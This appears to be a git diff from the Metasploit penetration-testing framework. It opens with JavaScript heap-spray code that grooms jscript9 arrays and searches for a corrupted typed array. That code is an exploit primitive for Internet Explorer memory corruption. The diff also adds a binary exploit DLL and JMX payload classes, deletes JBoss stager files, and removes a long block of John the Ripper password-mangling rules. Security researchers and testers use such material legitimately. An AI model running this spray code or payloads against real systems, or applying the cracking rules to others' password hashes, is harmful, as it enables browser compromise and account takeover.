+Sprayer.prototype.spray = function() { + var k = 0; + while(k < this.nrArrays) { + // create "jscript9!Js::JavascriptArray" with blocksize 0xf000 (data + // aligned at 0xXXXX0020) + this.arr[k] = new Array(this.arrSize); + + // fill remaining page (0x1000) after array data with headers of + // "jscript9!Js::TypedArray" (0x55 * 0x30 = 0xff0) as a + // typed array header has the size of 0x30. 0x10 bytes are left empty + for(var i = 0; i < 0x55; i++){ + // headers become aligned @ 0xXXXXf000, 0xXXXXf030, 0xXXXXf060,... + this.arr[k][i] = new Uint32Array(this.intArrBuf, 0, 1); + } + + // tag the array's last element + this.arr[k][this.arrSize - 1] = 0x12121212; + k += 1; + } +}; + +// Find the corrupted Uint32Array (typed array) +Sprayer.prototype.find = function() { + var k = 0; + + while(k < this.nrArrays - 1) { + for(var i = 0; i < 0x55-1; i++){ + if(this.arr[k][i][0] != 0){ + // address of jscript9!Js::TypedArray::`vftable' + // alert("0x" + arr[k][i][0].toString(16)) + this.corruptedArray = this.arr[k][i]; + this.corruptedArrayNext = this.arr[k+1]; + this.fullMemory = this.arr[k][i+1]; + return 1; + } + } + k++; + } + + return -1; +}; \ No newline at end of file diff --git a/data/exploits/edb-35948/main.html b/data/exploits/edb-35948/main.html new file mode 100644 index 0000000000..74bc867a8e --- /dev/null +++ b/data/exploits/edb-35948/main.html @@ -0,0 +1,11 @@ + + + + + + + + + + + \ No newline at end of file diff --git a/data/exploits/jboss_jmxinvoker/DeploymentFileRepository/installstager.bin b/data/exploits/jboss_jmxinvoker/DeploymentFileRepository/installstager.bin deleted file mode 100644 index 4775e14a86..0000000000 Binary files a/data/exploits/jboss_jmxinvoker/DeploymentFileRepository/installstager.bin and /dev/null differ diff --git a/data/exploits/jboss_jmxinvoker/DeploymentFileRepository/osarch.bin b/data/exploits/jboss_jmxinvoker/DeploymentFileRepository/osarch.bin deleted file mode 100644 index e1f50dc695..0000000000 Binary files a/data/exploits/jboss_jmxinvoker/DeploymentFileRepository/osarch.bin and /dev/null differ diff --git a/data/exploits/jboss_jmxinvoker/DeploymentFileRepository/osname.bin b/data/exploits/jboss_jmxinvoker/DeploymentFileRepository/osname.bin deleted file mode 100644 index 8790163d3b..0000000000 Binary files a/data/exploits/jboss_jmxinvoker/DeploymentFileRepository/osname.bin and /dev/null differ diff --git a/data/exploits/jboss_jmxinvoker/DeploymentFileRepository/removestagerdirectory.bin b/data/exploits/jboss_jmxinvoker/DeploymentFileRepository/removestagerdirectory.bin deleted file mode 100644 index da3d498236..0000000000 Binary files a/data/exploits/jboss_jmxinvoker/DeploymentFileRepository/removestagerdirectory.bin and /dev/null differ diff --git a/data/exploits/jboss_jmxinvoker/DeploymentFileRepository/removestagerfile.bin b/data/exploits/jboss_jmxinvoker/DeploymentFileRepository/removestagerfile.bin deleted file mode 100644 index 1f2c9feb5c..0000000000 Binary files a/data/exploits/jboss_jmxinvoker/DeploymentFileRepository/removestagerfile.bin and /dev/null differ diff --git a/data/exploits/jboss_jmxinvoker/DeploymentFileRepository/version.bin b/data/exploits/jboss_jmxinvoker/DeploymentFileRepository/version.bin deleted file mode 100644 index f8dc1efd54..0000000000 Binary files a/data/exploits/jboss_jmxinvoker/DeploymentFileRepository/version.bin and /dev/null differ diff --git a/data/exploits/ntapphelpcachecontrol/exploit.dll b/data/exploits/ntapphelpcachecontrol/exploit.dll new file mode 100755 index 0000000000..bb6987f00c Binary files /dev/null and b/data/exploits/ntapphelpcachecontrol/exploit.dll differ diff --git a/data/java/javaCompile/CompileSourceInMemory.class b/data/java/javaCompile/CompileSourceInMemory.class deleted file mode 100755 index 31dbb0a8f2..0000000000 Binary files a/data/java/javaCompile/CompileSourceInMemory.class and /dev/null differ diff --git a/data/java/javaCompile/CreateJarFile.class b/data/java/javaCompile/CreateJarFile.class deleted file mode 100755 index 3a295c4e84..0000000000 Binary files a/data/java/javaCompile/CreateJarFile.class and /dev/null differ diff --git a/data/java/javaCompile/JavaSourceFromString.class b/data/java/javaCompile/JavaSourceFromString.class deleted file mode 100755 index 1b451a4f56..0000000000 Binary files a/data/java/javaCompile/JavaSourceFromString.class and /dev/null differ diff --git a/data/java/javaCompile/SignJar$FilteredStream.class b/data/java/javaCompile/SignJar$FilteredStream.class deleted file mode 100755 index 71f7a5400c..0000000000 Binary files a/data/java/javaCompile/SignJar$FilteredStream.class and /dev/null differ diff --git a/data/java/javaCompile/SignJar.class b/data/java/javaCompile/SignJar.class deleted file mode 100755 index ad0b3be88d..0000000000 Binary files a/data/java/javaCompile/SignJar.class and /dev/null differ diff --git a/data/java/metasploit/JMXPayload.class b/data/java/metasploit/JMXPayload.class new file mode 100644 index 0000000000..4085175436 Binary files /dev/null and b/data/java/metasploit/JMXPayload.class differ diff --git a/data/java/metasploit/JMXPayloadMBean.class b/data/java/metasploit/JMXPayloadMBean.class new file mode 100644 index 0000000000..1aa20d9df8 Binary files /dev/null and b/data/java/metasploit/JMXPayloadMBean.class differ diff --git a/data/john/confs/john.conf b/data/john/confs/john.conf index c6f6979fcf..32964b1622 100755 --- a/data/john/confs/john.conf +++ b/data/john/confs/john.conf @@ -292,2327 +292,6 @@ l Az"19[6-0][9-0]" <+ # Prepend "pass" A0"[pP][aA][sS][sS]" -# [List.Rules:KoreLogicRulesPrependYears] -A0"20[0-1][0-9]" -A0"19[3-9][0-9]" - -# Notice: Your wordlist should likely be all lowercase - or you are wasting work -# [List.Rules:KoreLogicRulesAppendYears] -cAz"19[0-9][0-9]" -Az"19[0-9][0-9]" -cAz"20[01][0-9]" -Az"20[01][0-9]" - - -# [List.Rules:KoreLogicRulesPrependAndAppendSpecial] -cA0"[!$@#%.^&()_+\-={}|\[\]\\;':,/\<\>?`~*]"Az"[!$@#%.^&()_+\-={}|\[\]\\;':,/\<\>?`~*]" -A0"[!$@#%.^&()_+\-={}|\[\]\\;':,/\<\>?`~*]"Az"[!$@#%.^&()_+\-={}|\[\]\\;':,/\<\>?`~*]" - - -# [List.Rules:KoreLogicRulesAdd1234_Everywhere] -Az"1234" ->0A[0]"1234" ->1A[1]"1234" ->2A[2]"1234" ->3A[3]"1234" ->4A[4]"1234" ->5A[5]"1234" ->6A[6]"1234" ->7A[7]"1234" ->8A[8]"1234" ->9A[9]"1234" - -# [List.Rules:KoreLogicRulesAdd123_Everywhere] -Az"123" ->0A[0]"123" ->1A[1]"123" ->2A[2]"123" ->3A[3]"123" ->4A[4]"123" ->5A[5]"123" ->6A[6]"123" ->7A[7]"123" ->8A[8]"123" ->9A[9]"123" - -Az".com" -cAz".com" -Az".net" -cAz".net" -Az".org" -cAz".org" - -# [List.Rules:KoreLogicRulesReplaceNumbers2Special] -/1s1! -/2s2@ -/3s3# -/4s4$ -/5s5% -/6s6^ -/7s7& -/8s8* -/9s9( -/0s0) -/1s1!%12s2@ -/1s1!%13s3# -/1s1!%14s4$ -/1s1!%15s5% -/1s1!%16s6^ -/1s1!%17s7& -/1s1!%18s8* -/1s1!%19s9( -/1s1!%10s0) -/2s2@%13s3# -/2s2@%14s4$ -/2s2@%15s5% -/2s2@%16s6^ -/2s2@%17s7& -/2s2@%18s8* -/2s2@%19s9( -/2s2@%10s0) -/3s3#%14s4$ -/3s3#%15s5% -/3s3#%16s6^ -/3s3#%17s7& -/3s3#%18s8* -/3s3#%19s9( -/3s3#%10s0) -/4s4$%15s5% -/4s4$%16s6^ -/4s4$%17s7& -/4s4$%18s8* -/4s4$%19s9( -/4s4$%10s0) -/5s5%%16s6^ -/5s5%%17s7& -/5s5%%18s8* -/5s5%%19s9( -/5s5%%10s0) -/6s6^%17s7& -/6s6^%18s8* -/6s6^%19s9( -/6s6^%10s0) -/7s7&%18s8* -/7s7&%19s9( -/7s7&%10s0) -/8s8*%19s9( -/8s8*%10s0) -/9s9(%10s0) - - -# [List.Rules:KoreLogicRulesReplaceNumbers] -/0s01 -/0s02 -/0s03 -/0s04 -/0s05 -/0s06 -/0s07 -/0s08 -/0s09 -/1s10 -/1s12 -/1s13 -/1s14 -/1s15 -/1s16 -/1s17 -/1s18 -/1s19 -/2s20 -/2s21 -/2s23 -/2s24 -/2s25 -/2s26 -/2s27 -/2s28 -/2s29 -/3s30 -/3s31 -/3s32 -/3s34 -/3s35 -/3s36 -/3s37 -/3s38 -/3s39 -/4s40 -/4s41 -/4s42 -/4s43 -/4s45 -/4s46 -/4s47 -/4s48 -/4s49 -/5s50 -/5s51 -/5s52 -/5s53 -/5s54 -/5s56 -/5s57 -/5s58 -/5s59 -/6s60 -/6s61 -/6s62 -/6s63 -/6s64 -/6s65 -/6s67 -/6s68 -/6s69 -/7s70 -/7s71 -/7s72 -/7s73 -/7s74 -/7s75 -/7s76 -/7s78 -/7s79 -/8s80 -/8s81 -/8s82 -/8s83 -/8s84 -/8s85 -/8s86 -/8s87 -/8s89 -/9s90 -/9s91 -/9s92 -/9s93 -/9s94 -/9s95 -/9s96 -/9s97 -/9s98 - -# [List.Rules:KoreLogicRulesPrependJustSpecials] -cA0"[!$@#%.^&()_+\-={}|\[\]\\;':,/\<\>?`~*]" -A0"[!$@#%.^&()_+\-={}|\[\]\\;':,/\<\>?`~*]" -cA0"[!$@#%.^&()_+\-={}|\[\]\\;':,/\<\>?`~*][!$@#%.^&()_+\-={}|\[\]\\;':,/\<\>?`~*]" -A0"[!$@#%.^&()_+\-={}|\[\]\\;':,/\<\>?`~*][!$@#%.^&()_+\-={}|\[\]\\;':,/\<\>?`~*]" - -# [List.Rules:KoreLogicRulesAppend1_AddSpecialEverywhere] ->4cA[0-5]"[!$@#%.^&()_+\-={}|\[\]\\;':,/\<\>?`~*]"Az"1" ->5cA[6]"[!$@#%.^&()_+\-={}|\[\]\\;':,/\<\>?`~*]"Az"1" ->6cA[7]"[!$@#%.^&()_+\-={}|\[\]\\;':,/\<\>?`~*]"Az"1" ->7cA[8]"[!$@#%.^&()_+\-={}|\[\]\\;':,/\<\>?`~*]"Az"1" ->8cA[9]"[!$@#%.^&()_+\-={}|\[\]\\;':,/\<\>?`~*]"Az"1" ->4A[0-5]"[!$@#%.^&()_+\-={}|\[\]\\;':,/\<\>?`~*]"Az"1" ->5A[6]"[!$@#%.^&()_+\-={}|\[\]\\;':,/\<\>?`~*]"Az"1" ->6A[7]"[!$@#%.^&()_+\-={}|\[\]\\;':,/\<\>?`~*]"Az"1" ->7A[8]"[!$@#%.^&()_+\-={}|\[\]\\;':,/\<\>?`~*]"Az"1" ->8A[9]"[!$@#%.^&()_+\-={}|\[\]\\;':,/\<\>?`~*]"Az"1" - - -A0"[dD]ev" -Az"[dD]ev" -A0"[uU]at" -Az"[uU]at" -A0"[pP]rod" -Az"[pP]rod" -A0"[tT]est" -Az"[tT]est" - - - -/asa@[:c] -/asa4[:c] -/AsA4[:c] -/AsA@[:c] -/bsb8[:c] -/BsB8[:c] -/ese3[:c] -/EsE3[:c] -/isi1[:c] -/isi![:c] -/isi|[:c] -/IsI1[:c] -/IsI![:c] -/IsI|[:c] -/lsl1[:c] -/lsl7[:c] -/lsl|[:c] -/lsl![:c] -/Lsl1[:c] -/Lsl7[:c] -/Lsl|[:c] -/Lsl![:c] -/oso0[:c] -/OsO0[:c] -/sss$[:c] -/sss5[:c] -/SsS$[:c] -/SsS5[:c] -/tst+[:c] -/TsT+[:c] -/1s1![:c] -/1s1i[:c] -/1s1I[:c] -/1s1|[:c] -/0s0o[:c] -/0s0O[:c] -/3s3e[:c] -/3s3E[:c] -/4s4a[:c] -/4s4A[:c] -/5s5s[:c] -/5s5S[:c] -/7s7l[:c] -/7s7L[:c] -/8s8b[:c] -/8s8B[:c] -/asa@/bsb8[:c] -/asa@/BsB8[:c] -/asa@/ese3[:c] -/asa@/EsE3[:c] -/asa@/isi1[:c] -/asa@/isi![:c] -/asa@/isi|[:c] -/asa@/IsI1[:c] -/asa@/IsI![:c] -/asa@/IsI|[:c] -/asa@/lsl1[:c] -/asa@/lsl7[:c] -/asa@/lsl|[:c] -/asa@/lsl![:c] -/asa@/Lsl1[:c] -/asa@/Lsl7[:c] -/asa@/Lsl|[:c] -/asa@/Lsl![:c] -/asa@/oso0[:c] -/asa@/OsO0[:c] -/asa@/sss$[:c] -/asa@/sss5[:c] -/asa@/SsS$[:c] -/asa@/SsS5[:c] -/asa@/tst+[:c] -/asa@/TsT+[:c] -/asa@/1s1![:c] -/asa@/1s1i[:c] -/asa@/1s1I[:c] -/asa@/1s1|[:c] -/asa@/0s0o[:c] -/asa@/0s0O[:c] -/asa@/3s3e[:c] -/asa@/3s3E[:c] -/asa@/4s4a[:c] -/asa@/4s4A[:c] -/asa@/5s5s[:c] -/asa@/5s5S[:c] -/asa@/7s7l[:c] -/asa@/7s7L[:c] -/asa@/8s8b[:c] -/asa@/8s8B[:c] -/asa4/AsA4[:c] -/asa4/AsA@[:c] -/asa4/bsb8[:c] -/asa4/BsB8[:c] -/asa4/ese3[:c] -/asa4/EsE3[:c] -/asa4/isi1[:c] -/asa4/isi![:c] -/asa4/isi|[:c] -/asa4/IsI1[:c] -/asa4/IsI![:c] -/asa4/IsI|[:c] -/asa4/lsl1[:c] -/asa4/lsl7[:c] -/asa4/lsl|[:c] -/asa4/lsl![:c] -/asa4/Lsl1[:c] -/asa4/Lsl7[:c] -/asa4/Lsl|[:c] -/asa4/Lsl![:c] -/asa4/oso0[:c] -/asa4/OsO0[:c] -/asa4/sss$[:c] -/asa4/sss5[:c] -/asa4/SsS$[:c] -/asa4/SsS5[:c] -/asa4/tst+[:c] -/asa4/TsT+[:c] -/asa4/1s1![:c] -/asa4/1s1i[:c] -/asa4/1s1I[:c] -/asa4/1s1|[:c] -/asa4/0s0o[:c] -/asa4/0s0O[:c] -/asa4/3s3e[:c] -/asa4/3s3E[:c] -/asa4/4s4a[:c] -/asa4/4s4A[:c] -/asa4/5s5s[:c] -/asa4/5s5S[:c] -/asa4/7s7l[:c] -/asa4/7s7L[:c] -/asa4/8s8b[:c] -/asa4/8s8B[:c] -/AsA4/asa@[:c] -/AsA4/asa4[:c] -/AsA4/BsB8[:c] -/AsA4/ese3[:c] -/AsA4/EsE3[:c] -/AsA4/isi1[:c] -/AsA4/isi![:c] -/AsA4/isi|[:c] -/AsA4/IsI1[:c] -/AsA4/IsI![:c] -/AsA4/IsI|[:c] -/AsA4/lsl1[:c] -/AsA4/lsl7[:c] -/AsA4/lsl|[:c] -/AsA4/lsl![:c] -/AsA4/Lsl1[:c] -/AsA4/Lsl7[:c] -/AsA4/Lsl|[:c] -/AsA4/Lsl![:c] -/AsA4/oso0[:c] -/AsA4/OsO0[:c] -/AsA4/sss$[:c] -/AsA4/sss5[:c] -/AsA4/SsS$[:c] -/AsA4/SsS5[:c] -/AsA4/tst+[:c] -/AsA4/TsT+[:c] -/AsA4/1s1![:c] -/AsA4/1s1i[:c] -/AsA4/1s1I[:c] -/AsA4/1s1|[:c] -/AsA4/0s0o[:c] -/AsA4/0s0O[:c] -/AsA4/3s3e[:c] -/AsA4/3s3E[:c] -/AsA4/4s4a[:c] -/AsA4/4s4A[:c] -/AsA4/5s5s[:c] -/AsA4/5s5S[:c] -/AsA4/7s7l[:c] -/AsA4/7s7L[:c] -/AsA4/8s8b[:c] -/AsA4/8s8B[:c] -/AsA@/asa@[:c] -/AsA@/asa4[:c] -/AsA@/bsb8[:c] -/AsA@/BsB8[:c] -/AsA@/ese3[:c] -/AsA@/EsE3[:c] -/AsA@/isi1[:c] -/AsA@/isi![:c] -/AsA@/isi|[:c] -/AsA@/IsI1[:c] -/AsA@/IsI![:c] -/AsA@/IsI|[:c] -/AsA@/lsl1[:c] -/AsA@/lsl7[:c] -/AsA@/lsl|[:c] -/AsA@/lsl![:c] -/AsA@/Lsl1[:c] -/AsA@/Lsl7[:c] -/AsA@/Lsl|[:c] -/AsA@/Lsl![:c] -/AsA@/oso0[:c] -/AsA@/OsO0[:c] -/AsA@/sss$[:c] -/AsA@/sss5[:c] -/AsA@/SsS$[:c] -/AsA@/SsS5[:c] -/AsA@/tst+[:c] -/AsA@/TsT+[:c] -/AsA@/1s1![:c] -/AsA@/1s1i[:c] -/AsA@/1s1I[:c] -/AsA@/1s1|[:c] -/AsA@/0s0o[:c] -/AsA@/0s0O[:c] -/AsA@/3s3e[:c] -/AsA@/3s3E[:c] -/AsA@/4s4a[:c] -/AsA@/4s4A[:c] -/AsA@/5s5s[:c] -/AsA@/5s5S[:c] -/AsA@/7s7l[:c] -/AsA@/7s7L[:c] -/AsA@/8s8b[:c] -/AsA@/8s8B[:c] -/bsb8/asa@[:c] -/bsb8/asa4[:c] -/bsb8/AsA4[:c] -/bsb8/AsA@[:c] -/bsb8/BsB8[:c] -/bsb8/ese3[:c] -/bsb8/EsE3[:c] -/bsb8/isi1[:c] -/bsb8/isi![:c] -/bsb8/isi|[:c] -/bsb8/IsI1[:c] -/bsb8/IsI![:c] -/bsb8/IsI|[:c] -/bsb8/lsl1[:c] -/bsb8/lsl7[:c] -/bsb8/lsl|[:c] -/bsb8/lsl![:c] -/bsb8/Lsl1[:c] -/bsb8/Lsl7[:c] -/bsb8/Lsl|[:c] -/bsb8/Lsl![:c] -/bsb8/oso0[:c] -/bsb8/OsO0[:c] -/bsb8/sss$[:c] -/bsb8/sss5[:c] -/bsb8/SsS$[:c] -/bsb8/SsS5[:c] -/bsb8/tst+[:c] -/bsb8/TsT+[:c] -/bsb8/1s1![:c] -/bsb8/1s1i[:c] -/bsb8/1s1I[:c] -/bsb8/1s1|[:c] -/bsb8/0s0o[:c] -/bsb8/0s0O[:c] -/bsb8/3s3e[:c] -/bsb8/3s3E[:c] -/bsb8/4s4a[:c] -/bsb8/4s4A[:c] -/bsb8/5s5s[:c] -/bsb8/5s5S[:c] -/bsb8/7s7l[:c] -/bsb8/7s7L[:c] -/bsb8/8s8b[:c] -/bsb8/8s8B[:c] -/BsB8/asa@[:c] -/BsB8/asa4[:c] -/BsB8/AsA4[:c] -/BsB8/AsA@[:c] -/BsB8/bsb8[:c] -/BsB8/ese3[:c] -/BsB8/EsE3[:c] -/BsB8/isi1[:c] -/BsB8/isi![:c] -/BsB8/isi|[:c] -/BsB8/IsI1[:c] -/BsB8/IsI![:c] -/BsB8/IsI|[:c] -/BsB8/lsl1[:c] -/BsB8/lsl7[:c] -/BsB8/lsl|[:c] -/BsB8/lsl![:c] -/BsB8/Lsl1[:c] -/BsB8/Lsl7[:c] -/BsB8/Lsl|[:c] -/BsB8/Lsl![:c] -/BsB8/oso0[:c] -/BsB8/OsO0[:c] -/BsB8/sss$[:c] -/BsB8/sss5[:c] -/BsB8/SsS$[:c] -/BsB8/SsS5[:c] -/BsB8/tst+[:c] -/BsB8/TsT+[:c] -/BsB8/1s1![:c] -/BsB8/1s1i[:c] -/BsB8/1s1I[:c] -/BsB8/1s1|[:c] -/BsB8/0s0o[:c] -/BsB8/0s0O[:c] -/BsB8/3s3e[:c] -/BsB8/3s3E[:c] -/BsB8/4s4a[:c] -/BsB8/4s4A[:c] -/BsB8/5s5s[:c] -/BsB8/5s5S[:c] -/BsB8/7s7l[:c] -/BsB8/7s7L[:c] -/BsB8/8s8b[:c] -/BsB8/8s8B[:c] -/ese3/asa@[:c] -/ese3/asa4[:c] -/ese3/AsA4[:c] -/ese3/AsA@[:c] -/ese3/bsb8[:c] -/ese3/BsB8[:c] -/ese3/EsE3[:c] -/ese3/isi1[:c] -/ese3/isi![:c] -/ese3/isi|[:c] -/ese3/IsI1[:c] -/ese3/IsI![:c] -/ese3/IsI|[:c] -/ese3/lsl1[:c] -/ese3/lsl7[:c] -/ese3/lsl|[:c] -/ese3/lsl![:c] -/ese3/Lsl1[:c] -/ese3/Lsl7[:c] -/ese3/Lsl|[:c] -/ese3/Lsl![:c] -/ese3/oso0[:c] -/ese3/OsO0[:c] -/ese3/sss$[:c] -/ese3/sss5[:c] -/ese3/SsS$[:c] -/ese3/SsS5[:c] -/ese3/tst+[:c] -/ese3/TsT+[:c] -/ese3/1s1![:c] -/ese3/1s1i[:c] -/ese3/1s1I[:c] -/ese3/1s1|[:c] -/ese3/0s0o[:c] -/ese3/0s0O[:c] -/ese3/3s3e[:c] -/ese3/3s3E[:c] -/ese3/4s4a[:c] -/ese3/4s4A[:c] -/ese3/5s5s[:c] -/ese3/5s5S[:c] -/ese3/7s7l[:c] -/ese3/7s7L[:c] -/ese3/8s8b[:c] -/ese3/8s8B[:c] -/EsE3/asa@[:c] -/EsE3/asa4[:c] -/EsE3/AsA4[:c] -/EsE3/AsA@[:c] -/EsE3/bsb8[:c] -/EsE3/BsB8[:c] -/EsE3/ese3[:c] -/EsE3/isi1[:c] -/EsE3/isi![:c] -/EsE3/isi|[:c] -/EsE3/IsI1[:c] -/EsE3/IsI![:c] -/EsE3/IsI|[:c] -/EsE3/lsl1[:c] -/EsE3/lsl7[:c] -/EsE3/lsl|[:c] -/EsE3/lsl![:c] -/EsE3/Lsl1[:c] -/EsE3/Lsl7[:c] -/EsE3/Lsl|[:c] -/EsE3/Lsl![:c] -/EsE3/oso0[:c] -/EsE3/OsO0[:c] -/EsE3/sss$[:c] -/EsE3/sss5[:c] -/EsE3/SsS$[:c] -/EsE3/SsS5[:c] -/EsE3/tst+[:c] -/EsE3/TsT+[:c] -/EsE3/1s1![:c] -/EsE3/1s1i[:c] -/EsE3/1s1I[:c] -/EsE3/1s1|[:c] -/EsE3/0s0o[:c] -/EsE3/0s0O[:c] -/EsE3/3s3e[:c] -/EsE3/3s3E[:c] -/EsE3/4s4a[:c] -/EsE3/4s4A[:c] -/EsE3/5s5s[:c] -/EsE3/5s5S[:c] -/EsE3/7s7l[:c] -/EsE3/7s7L[:c] -/EsE3/8s8b[:c] -/EsE3/8s8B[:c] -/isi1/asa@[:c] -/isi1/asa4[:c] -/isi1/AsA4[:c] -/isi1/AsA@[:c] -/isi1/bsb8[:c] -/isi1/BsB8[:c] -/isi1/ese3[:c] -/isi1/EsE3[:c] -/isi1/IsI1[:c] -/isi1/IsI![:c] -/isi1/IsI|[:c] -/isi1/lsl1[:c] -/isi1/lsl7[:c] -/isi1/lsl|[:c] -/isi1/lsl![:c] -/isi1/Lsl1[:c] -/isi1/Lsl7[:c] -/isi1/Lsl|[:c] -/isi1/Lsl![:c] -/isi1/oso0[:c] -/isi1/OsO0[:c] -/isi1/sss$[:c] -/isi1/sss5[:c] -/isi1/SsS$[:c] -/isi1/SsS5[:c] -/isi1/tst+[:c] -/isi1/TsT+[:c] -/isi1/1s1![:c] -/isi1/1s1i[:c] -/isi1/1s1I[:c] -/isi1/1s1|[:c] -/isi1/0s0o[:c] -/isi1/0s0O[:c] -/isi1/3s3e[:c] -/isi1/3s3E[:c] -/isi1/4s4a[:c] -/isi1/4s4A[:c] -/isi1/5s5s[:c] -/isi1/5s5S[:c] -/isi1/7s7l[:c] -/isi1/7s7L[:c] -/isi1/8s8b[:c] -/isi1/8s8B[:c] -/isi!/asa@[:c] -/isi!/asa4[:c] -/isi!/AsA4[:c] -/isi!/AsA@[:c] -/isi!/bsb8[:c] -/isi!/BsB8[:c] -/isi!/ese3[:c] -/isi!/EsE3[:c] -/isi!/isi1[:c] -/isi!/isi|[:c] -/isi!/IsI1[:c] -/isi!/IsI![:c] -/isi!/IsI|[:c] -/isi!/lsl1[:c] -/isi!/lsl7[:c] -/isi!/lsl|[:c] -/isi!/lsl![:c] -/isi!/Lsl1[:c] -/isi!/Lsl7[:c] -/isi!/Lsl|[:c] -/isi!/Lsl![:c] -/isi!/oso0[:c] -/isi!/OsO0[:c] -/isi!/sss$[:c] -/isi!/sss5[:c] -/isi!/SsS$[:c] -/isi!/SsS5[:c] -/isi!/tst+[:c] -/isi!/TsT+[:c] -/isi!/1s1![:c] -/isi!/1s1i[:c] -/isi!/1s1I[:c] -/isi!/1s1|[:c] -/isi!/0s0o[:c] -/isi!/0s0O[:c] -/isi!/3s3e[:c] -/isi!/3s3E[:c] -/isi!/4s4a[:c] -/isi!/4s4A[:c] -/isi!/5s5s[:c] -/isi!/5s5S[:c] -/isi!/7s7l[:c] -/isi!/7s7L[:c] -/isi!/8s8b[:c] -/isi!/8s8B[:c] -/isi|/asa@[:c] -/isi|/asa4[:c] -/isi|/AsA4[:c] -/isi|/AsA@[:c] -/isi|/bsb8[:c] -/isi|/BsB8[:c] -/isi|/ese3[:c] -/isi|/EsE3[:c] -/isi|/isi1[:c] -/isi|/isi![:c] -/isi|/IsI1[:c] -/isi|/IsI![:c] -/isi|/IsI|[:c] -/isi|/lsl1[:c] -/isi|/lsl7[:c] -/isi|/lsl|[:c] -/isi|/lsl![:c] -/isi|/Lsl1[:c] -/isi|/Lsl7[:c] -/isi|/Lsl|[:c] -/isi|/Lsl![:c] -/isi|/oso0[:c] -/isi|/OsO0[:c] -/isi|/sss$[:c] -/isi|/sss5[:c] -/isi|/SsS$[:c] -/isi|/SsS5[:c] -/isi|/tst+[:c] -/isi|/TsT+[:c] -/isi|/1s1![:c] -/isi|/1s1i[:c] -/isi|/1s1I[:c] -/isi|/1s1|[:c] -/isi|/0s0o[:c] -/isi|/0s0O[:c] -/isi|/3s3e[:c] -/isi|/3s3E[:c] -/isi|/4s4a[:c] -/isi|/4s4A[:c] -/isi|/5s5s[:c] -/isi|/5s5S[:c] -/isi|/7s7l[:c] -/isi|/7s7L[:c] -/isi|/8s8b[:c] -/isi|/8s8B[:c] -/IsI1/asa@[:c] -/IsI1/asa4[:c] -/IsI1/AsA4[:c] -/IsI1/AsA@[:c] -/IsI1/bsb8[:c] -/IsI1/BsB8[:c] -/IsI1/ese3[:c] -/IsI1/EsE3[:c] -/IsI1/isi1[:c] -/IsI1/isi![:c] -/IsI1/isi|[:c] -/IsI1/lsl1[:c] -/IsI1/lsl7[:c] -/IsI1/lsl|[:c] -/IsI1/lsl![:c] -/IsI1/Lsl1[:c] -/IsI1/Lsl7[:c] -/IsI1/Lsl|[:c] -/IsI1/Lsl![:c] -/IsI1/oso0[:c] -/IsI1/OsO0[:c] -/IsI1/sss$[:c] -/IsI1/sss5[:c] -/IsI1/SsS$[:c] -/IsI1/SsS5[:c] -/IsI1/tst+[:c] -/IsI1/TsT+[:c] -/IsI1/1s1![:c] -/IsI1/1s1i[:c] -/IsI1/1s1I[:c] -/IsI1/1s1|[:c] -/IsI1/0s0o[:c] -/IsI1/0s0O[:c] -/IsI1/3s3e[:c] -/IsI1/3s3E[:c] -/IsI1/4s4a[:c] -/IsI1/4s4A[:c] -/IsI1/5s5s[:c] -/IsI1/5s5S[:c] -/IsI1/7s7l[:c] -/IsI1/7s7L[:c] -/IsI1/8s8b[:c] -/IsI1/8s8B[:c] -/IsI!/asa@[:c] -/IsI!/asa4[:c] -/IsI!/AsA4[:c] -/IsI!/AsA@[:c] -/IsI!/bsb8[:c] -/IsI!/BsB8[:c] -/IsI!/ese3[:c] -/IsI!/EsE3[:c] -/IsI!/isi1[:c] -/IsI!/isi![:c] -/IsI!/isi|[:c] -/IsI!/IsI1[:c] -/IsI!/IsI|[:c] -/IsI!/lsl1[:c] -/IsI!/lsl7[:c] -/IsI!/lsl|[:c] -/IsI!/lsl![:c] -/IsI!/Lsl1[:c] -/IsI!/Lsl7[:c] -/IsI!/Lsl|[:c] -/IsI!/Lsl![:c] -/IsI!/oso0[:c] -/IsI!/OsO0[:c] -/IsI!/sss$[:c] -/IsI!/sss5[:c] -/IsI!/SsS$[:c] -/IsI!/SsS5[:c] -/IsI!/tst+[:c] -/IsI!/TsT+[:c] -/IsI!/1s1![:c] -/IsI!/1s1i[:c] -/IsI!/1s1I[:c] -/IsI!/1s1|[:c] -/IsI!/0s0o[:c] -/IsI!/0s0O[:c] -/IsI!/3s3e[:c] -/IsI!/3s3E[:c] -/IsI!/4s4a[:c] -/IsI!/4s4A[:c] -/IsI!/5s5s[:c] -/IsI!/5s5S[:c] -/IsI!/7s7l[:c] -/IsI!/7s7L[:c] -/IsI!/8s8b[:c] -/IsI!/8s8B[:c] -/IsI|/asa@[:c] -/IsI|/asa4[:c] -/IsI|/AsA4[:c] -/IsI|/AsA@[:c] -/IsI|/bsb8[:c] -/IsI|/BsB8[:c] -/IsI|/ese3[:c] -/IsI|/EsE3[:c] -/IsI|/isi1[:c] -/IsI|/isi![:c] -/IsI|/isi|[:c] -/IsI|/IsI1[:c] -/IsI|/IsI![:c] -/IsI|/lsl1[:c] -/IsI|/lsl7[:c] -/IsI|/lsl|[:c] -/IsI|/lsl![:c] -/IsI|/Lsl1[:c] -/IsI|/Lsl7[:c] -/IsI|/Lsl|[:c] -/IsI|/Lsl![:c] -/IsI|/oso0[:c] -/IsI|/OsO0[:c] -/IsI|/sss$[:c] -/IsI|/sss5[:c] -/IsI|/SsS$[:c] -/IsI|/SsS5[:c] -/IsI|/tst+[:c] -/IsI|/TsT+[:c] -/IsI|/1s1![:c] -/IsI|/1s1i[:c] -/IsI|/1s1I[:c] -/IsI|/1s1|[:c] -/IsI|/0s0o[:c] -/IsI|/0s0O[:c] -/IsI|/3s3e[:c] -/IsI|/3s3E[:c] -/IsI|/4s4a[:c] -/IsI|/4s4A[:c] -/IsI|/5s5s[:c] -/IsI|/5s5S[:c] -/IsI|/7s7l[:c] -/IsI|/7s7L[:c] -/IsI|/8s8b[:c] -/IsI|/8s8B[:c] -/lsl1/asa@[:c] -/lsl1/asa4[:c] -/lsl1/AsA4[:c] -/lsl1/AsA@[:c] -/lsl1/bsb8[:c] -/lsl1/BsB8[:c] -/lsl1/ese3[:c] -/lsl1/EsE3[:c] -/lsl1/isi1[:c] -/lsl1/isi![:c] -/lsl1/isi|[:c] -/lsl1/IsI1[:c] -/lsl1/IsI![:c] -/lsl1/IsI|[:c] -/lsl1/Lsl1[:c] -/lsl1/Lsl7[:c] -/lsl1/Lsl|[:c] -/lsl1/Lsl![:c] -/lsl1/oso0[:c] 